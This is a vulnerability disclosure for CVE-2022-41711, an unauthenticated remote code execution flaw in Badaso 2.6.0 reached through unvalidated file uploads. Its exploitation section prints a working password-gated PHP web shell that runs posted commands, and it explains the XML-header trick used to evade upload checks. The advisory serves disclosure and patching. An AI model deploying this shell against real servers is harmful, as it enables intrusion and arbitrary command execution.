Badaso 2.6.0 - Remote Command Execution

Description

Badaso version 2.6.0 allows an unauthenticated remote attacker to execute arbitrary code remotely on the server. This is possible because the application does not properly validate the data uploaded by users.

Vulnerability

This vulnerability occurs because the application does not correctly validate files uploaded by users. Thanks to this, we uploaded a file with malicious PHP code, instead of an image file.

Exploitation

To exploit this vulnerability, the following file must be sent to the server:

exploit.php

<?xml version="1.0" standalone="no"?>
<?php
 if($_POST && $_POST['password']==="AGSH635479302H235") {
 echo system($_POST['cmd']);
 }

It is important to put an XML header before the malicious code to bypass security controls.

Evidence of exploitation

Our security policy

We have reserved the CVE-2022-41711 to refer to this issue from now on. Disclosure policy

System Information

• Version: Badaso 2.6.0

• Operating System: GNU/Linux

Mitigation

An updated version of Badaso is available at the vendor page.

References

• Vendor page https://github.com/uasoft-indonesia/badaso

• Issue https://github.com/uasoft-indonesia/badaso/issues/802